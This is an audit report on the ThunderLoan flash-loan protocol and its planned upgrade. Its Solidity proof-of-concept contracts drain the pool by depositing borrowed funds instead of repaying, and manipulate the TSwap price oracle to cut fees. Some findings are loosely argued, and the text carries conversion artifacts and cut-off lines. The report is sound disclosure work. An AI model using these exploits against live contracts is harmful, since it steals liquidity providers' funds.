Smart Contract Security Audit Report

ThunderLoan Security Assessment

Lead Auditor: Kevin Lee

September 2, 2025

Abstract

This document presents the findings of a comprehensive security audit conducted on ThunderLoan. The audit focused on identifying vulnerabilities, security flaws, and potential improvements in the smart contract implementation. Our methodology included automated analysis, manual code review, and extensive testing procedures.

Contents

1 Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

2 Disclaimer

The Kevin Lee makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the person is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

3 Audit Details

3.1 Scope

\end{lstlisting} src/interfaces/IFlashLoanReceiver.sol src/interfaces/IPoolFactory.sol src/interfaces/ITSwapPool.sol src/interfaces/IThunderLoan.sol src/protocol/AssetToken.sol src/protocol/OracleUpgradeable.sol src/protocol/ThunderLoan.sol src/upgradedProtocol/ThunderLoanUpgraded.sol \end{lstlisting} ## Roles - Owner: The owner of the protocol who has the power to upgrade the implementation. - Liquidity Provider: A user who deposits assets into the protocol to earn interest. - User: A user who takes out flash loans from the protocol.

3.2 Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees

- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that "weird" ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

4 High

4.1 [H-1] Malicious user can exploit the `ThunderLoan::deposit` function, they can deposit the ThunderLoan by using the money that borrowed in ThunderLoan. They can repeate this cycle to steal money.

Description `ThunderLoan::deposit` function don't have a mechanism to prevent the borrowed money depositing itself. This a best chance for malicious user to steal the funds. **Impact** All funds in contract will be stolen. **Proof of Concepts**

```
function testDepositInsteadRepay() public setAllowedToken hasDeposits {
       DepositInsteadRepay depositInsteadRepay = new
           DepositInsteadRepay(address(thunderLoan),
       address(thunderLoan.getAssetFromToken(tokenA)));
       address assetAddress = address(thunderLoan.getAssetFromToken(tokenA));
       // mint some fee for MaliciousContract
       tokenA.mint(address(depositInsteadRepay), 10 ether);
       uint256 beforAttackTokenA =
           ERC20Mock(tokenA).balanceOf(address(depositInsteadRepay));
       console2.log("Before Attack, depositInsteadRepay tokenA :",
           beforAttackTokenA);
       console2.log("Before Attack, depositInsteadRepay assetToken:",
           ERC20Mock(assetAddress).balanceOf(address(depositInsteadRepay)));
       thunderLoan.flashloan(address(depositInsteadRepay), tokenA, 50 ether, "");

       // try redeem
       vm.prank(address(depositInsteadRepay));
       thunderLoan.redeem(tokenA, type(uint256).max);
       uint256 afterAttackTokenA =
           ERC20Mock(tokenA).balanceOf(address(depositInsteadRepay));
       console2.log("After redeem, depositInsteadRepay tokenA :",
           afterAttackTokenA);
       console2.log("After redeem, depositInsteadRepay assetToken:",
           ERC20Mock(assetAddress).balanceOf(address(depositInsteadRepay)));

       assertGe(afterAttackTokenA, beforAttackTokenA);
   }
```

```
contract DepositInsteadRepay is IFlashLoanReceiver {
   ThunderLoan thunderLoan;
```

```
    address repayAddress;
    constructor(address _thunderLoan, address _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        ERC20Mock(token).approve(address(thunderLoan), type(uint256).max);
        thunderLoan.deposit(ERC20Mock(token), amount + fee);
        return true;
    }
}
```

Recommended mitigation Add a map to record which contracts borrowing the money when the `ThunderLoan::deposit` function is called checking the caller whether borrowing money from `ThunderLoan`.

4.2 [H-2] The fee calculation formula is incorrect: when the token is not WETH, it first calculates the amount in ETH and then incorrectly adds it directly to the other token.

Description The fee routine normalizes the input amount to ETH (via an oracle/pool price), computes the fee in ETH units, and then adds that ETH-denominated fee to an amount tracked in the token's native units. This is a unit/denomination mismatch ("dimension error").

Impact The fee is wrong, it might undermine the liquidity providers benefits.

Proof of Concepts

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view returns
        (uint256 fee) {
        //slither-disable-next-line divide-before-multiply

        // Assume:
        // 100 DAI : 100 Asset token (exchange ratio)
        // 1 DAI = 0.1 WETH , fee = 10%, loan = 100 DAI
        // 100 DAI * 0.1 WETH/DAI = 10 WETH, fee = 10 WETH * 10% = 1 WETH
        // then we update the exchange ratio
```

```
        // newExchangeRate = 1 * (100 + 1) / 100 = 1.01 ?????? it should be 1.1
            bacause the pool has 110 DAI and 100 Asset Token

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
            s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

Recommended mitigation

Using a correct fee calculation method.

5 Medium

5.1 [M-1] `OracleUpgradeable` exists price oracle manipulation, attacker can borrow the flash loan to tunk the `TSwap` price resulting thier can pay lower fee because the fee caculating by ETH.

Description The `OracleUpgradeable` contract is vulnerable to price manipulation attacks. An attacker can exploit this vulnerability by borrowing a flash loan to manipulate the price of the `Tswap` token, allowing them to pay lower fees calculated in ETH.

Impact If an attacker successfully manipulates the price oracle, they can gain an unfair advantage by paying lower fees, potentially leading to significant financial losses for the protocol and its users.

Proof of Concepts

```
  function testOracleManipulation() public {
        // 1. Setup ThunderLoan with BuffMockPoolFactory and BuffMockTSwap
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund Tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100 ether);
        tokenA.approve(tswapPool, 100 ether);
        weth.mint(liquidityProvider, 100 ether);
        weth.approve(tswapPool, 100 ether);
        BuffMockTSwap(tswapPool).deposit(100 ether,0,100
            ether,uint64(block.timestamp));
```

```
        vm.stopPrank();
        // price 1 : 1

        // 3. Fund ThunderLoan
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100 ether);
        tokenA.approve(address(thunderLoan), 100 ether);
        thunderLoan.deposit(tokenA, 100 ether);
        vm.stopPrank();

        // 4. take out 2 flash loan 1. to nuke tswap price 2. reducing the
            thunderloan fee
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100 ether);
        // about 0.3 eth fees
        console2.log("attackBefore",normalFeeCost);

        uint amountToBorrow = 50 ether;

        MaliciousContract maliciousContract = new
            MaliciousContract(address(tswapPool), address(thunderLoan),
        address(thunderLoan.getAssetFromToken(tokenA)));

        vm.prank(user);
        tokenA.mint(address(maliciousContract), amountToBorrow + 10 ether); // to
            pay fee
        thunderLoan.flashloan(address(maliciousContract), tokenA, amountToBorrow,
            "");

        console2.log("attackAfter", maliciousContract.feeOne() +
            maliciousContract.feeTwo());
    }
```

```
contract MaliciousContract is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked = false;
    uint256 public feeOne;
    uint256 public feeTwo;
    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
```

```
    }

        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if(!attacked){
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50 ether,100
                ether, 100 ether);
            ERC20Mock(token).approve(address(tswapPool), 50 ether);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50 ether, wethBought,
                block.timestamp);
            thunderLoan.flashloan(address(this), ERC20Mock(token), amount, "");
            ERC20Mock(token).transfer(repayAddress, amount + fee);

        }
        else{
            feeTwo = fee;
            ERC20Mock(token).transfer(repayAddress, amount + fee);
        }

        return true;
    }

}
```

Add the these code to `ThunderLoanTest.sol` below

Recommended mitigation Use the ChainLink Pricefeed service or other decentralized oracles to obtain price information for assets. This can help mitigate the risk of price manipulation and ensure more accurate pricing for flash loans.

5.2 [M-2] Some wired ERC20 such as USDC might add your thunderloan contract to blacklist, if they do that your contract will not be able to interact with their token even crash.

Description The `AssetToken::transferUnderlyingTo` function lacks handling for tokens that may blacklist certain addresses, such as USDC. If the ThunderLoan contract is blacklisted

by such a token, any attempts to transfer that token to or from the ThunderLoan contract will fail, potentially causing disruptions in functionality. **Impact** If the ThunderLoan contract is unable to interact with blacklisted tokens, it may lead to failed transactions, loss of funds, or inability to execute critical functions within the protocol.

Proof of Concepts

```
1    function transferUnderlyingTo(address to, uint256 amount) external
         onlyThunderLoan {
2        i_underlying.safeTransfer(to, amount);
3    }
```

Recommended mitigation Balance the risk and benefits of supporting various tokens with the potential for blacklisting. Implement a robust error handling mechanism in the `AssetToken::transferUnderlyingTo` function to gracefully handle blacklisted tokens. This could include fallback mechanisms, user notifications, or alternative workflows to ensure the protocol remains functional even when interacting with problematic tokens.

5.3 [M-3] Storage layout is different in origin Implementation and upgraded Implementation contract, some data will be covered in upgrading time.

Description The storage layout of the original implementation contract may differ from that of the upgraded implementation contract. This can lead to situations where certain data is inadvertently overwritten or lost during the upgrade process.

Impact If critical data is overwritten or lost during an upgrade, it may result in unexpected behavior, loss of funds, or other serious issues within the protocol.

Proof of Concepts

```
1  function testStorageCollisionAfterUpgraded() public {
2        uint256 beforeFee = thunderLoan.getFee();
3        ThunderLoanUpgraded up = new ThunderLoanUpgraded();
4        thunderLoan.upgradeToAndCall(address(up), "");
5        uint256 afterFee = thunderLoan.getFee();
6
7        console2.log("beforeFee:", beforeFee);
8        console2.log("afterFee:", afterFee);
9    }
```

Recommended mitigation Add these codes to `ThunderLoanTest.t.sol` below.

6 Low

6.1 [L-1] Malicious user can run front initialize the contract and obtain the control of the contract.

Description The `ThunderLoan::initialize` function can be exploited by a malicious user to gain control over the contract during the initialization phase. **Impact** Deployer may deploy the contract again.

Proof of Concepts

```
1    function initialize(address tswapAddress) external initializer {
2        __Ownable_init(msg.sender);
3        __UUPSUpgradeable_init();
4        __Oracle_init(tswapAddress);
5        s_feePrecision = 1e18;
6        s_flashLoanFee = 3e15; // 0.3% ETH fee
7    }
```

Recommended mitigation Finished the initialization in deploy script that when you deploy the contract, you should initialize the contract immediately.

6.2 [L-2] Many changed the state variable function didn't modify by the `onlyProxy`. It might cause the Proxy contract and Implementation contract have two version of one data.

Description When the contract state is modified through a proxy, the implementation contract may not be aware of these changes, leading to inconsistencies and potential vulnerabilities. **Impact** When the contract state is modified through a proxy, the implementation contract may not be aware of these changes, leading to inconsistencies and potential vulnerabilities. **Proof of Concepts**

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
       revertIfNotAllowedToken(token)
2
3  function redeem(
4          IERC20 token,
5          uint256 amountOfAssetToken
6      )
7          external
8          revertIfZero(amountOfAssetToken)
9          revertIfNotAllowedToken(token)
10
11 function flashloan(
12         address receiverAddress,
13         IERC20 token,
14         uint256 amount,
15         bytes calldata params
16     )
```

```
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)

function repay(IERC20 token, uint256 amount)

function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns
    (AssetToken)

function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

Recommended mitigation Using the `onlyProxy` modifier prevents direct calls to state-changing functions from non-proxy contracts, ensuring that all state changes are routed through the proxy and properly handled.

6.3 [L-3] User cannot repay their flash loan, because when the first flash loan repaid, `ThunderLoan::flashloan` will set the `s_currentlyFlashLoaning[token]` to false. The reason that you cannot pass the `if (!s_currentlyFlashLoaning[token])` judge.

Description When a user takes out a flash loan, the `s_currentlyFlashLoaning` mapping is updated to reflect that the token is currently being borrowed. If the user attempts to repay the loan after the first repayment has been processed, the mapping will indicate that the token is no longer being borrowed, preventing the repayment from being executed.

Impact Users may be unable to repay their flash loans.

Proof of Concepts

```
contract TwiceLoan is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked = false;
    uint256 public feeOne;
    uint256 public feeTwo;
    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
```

```
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if(!attacked){
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50 ether,100
                ether, 100 ether);
            ERC20Mock(token).approve(address(tswapPool), 50 ether);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50 ether, wethBought,
                block.timestamp);
            thunderLoan.flashloan(address(this), ERC20Mock(token), amount, "");

            ERC20Mock(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(ERC20Mock(token), amount + fee);

        }
        else{
            ERC20Mock(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(ERC20Mock(token), amount + fee);
        }

        return true;
    }
}
```

```
    function testTwiceRepay() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100 ether);
        tokenA.approve(tswapPool, 100 ether);
        weth.mint(liquidityProvider, 100 ether);
        weth.approve(tswapPool, 100 ether);
        BuffMockTSwap(tswapPool).deposit(100 ether,0,100
            ether,uint64(block.timestamp));
        vm.stopPrank();

        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
```

```
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100 ether);
        tokenA.approve(address(thunderLoan), 100 ether);
        thunderLoan.deposit(tokenA, 100 ether);
        vm.stopPrank();

        TwiceLoan tl = new TwiceLoan(address(tswapPool), address(thunderLoan),
        address(thunderLoan.getAssetFromToken(tokenA)));
        tokenA.mint(address(tl), 10 ether);
        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotCurrentlyFlashLoaning.selec
        thunderLoan.flashloan(address(tl), tokenA, 50 ether, "");
    }
```

Add these to `ThunderLoanTest.t.sol` below

Recommended mitigation Consider using a map to record the every loan

7 Informational

7.1 [I-1] `IThunderLoan` should not be import for testing, it might cause some bug in productive code.

Description The interface IThunderLoan is currently imported directly in test files. This creates a risk where test-only dependencies may accidentally leak into production code if developers reuse test scaffolding or forget to remove imports. Keeping testing dependencies separated from production code ensures a clean boundary and avoids unexpected contract references.

Recommended mitigation

```
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.20;

-   import { IThunderLoan } from "./IThunderLoan.sol";

/**
 * @dev Inspired by Aave:
 * https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/interfaces/IFlashLoa
 */
interface IFlashLoanReceiver {
    function executeOperation(
        address token,
        uint256 amount,
```

```
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool);
}
```

Add the `IThunderLoan` in separate import instead of using a interface to import

7.2 [I-2] `IThunderLoan` didn't use in `ThunderLoan.sol`, it will cause some omissions on programing.

Description Such inconsistencies can lead to confusion for developers, incomplete implementations, or overlooked requirements. Maintaining clean imports ensures that contracts only reference what they actually use, improving readability, maintainability, and reducing the risk of accidental misimplementation.

Recommended mitigation

```
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { AssetToken } from "./AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadat
import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgrad
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable
import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgrade
import { OracleUpgradeable } from "./OracleUpgradeable.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IFlashLoanReceiver } from "../interfaces/IFlashLoanReceiver.sol";
+   import { IThunderLoan } from "../interfaces/IThunderLoan.sol";
```

7.3 [I-3] Using a state variable to store a constant variable may cause the waste of gas and confusion.

Recommended mitigation

```
-     uint256 private s_feePrecision;
+     uint256 private constant FEE_PRECISION = 1e18;
```

7.4 [I-4] Many core functions lack proper NatSpec documentation, which may cause confusion for readers and increase maintenance costs.

Recommended mitigation Add the proper natspec comments to all public and external functions to improve code readability and maintainability.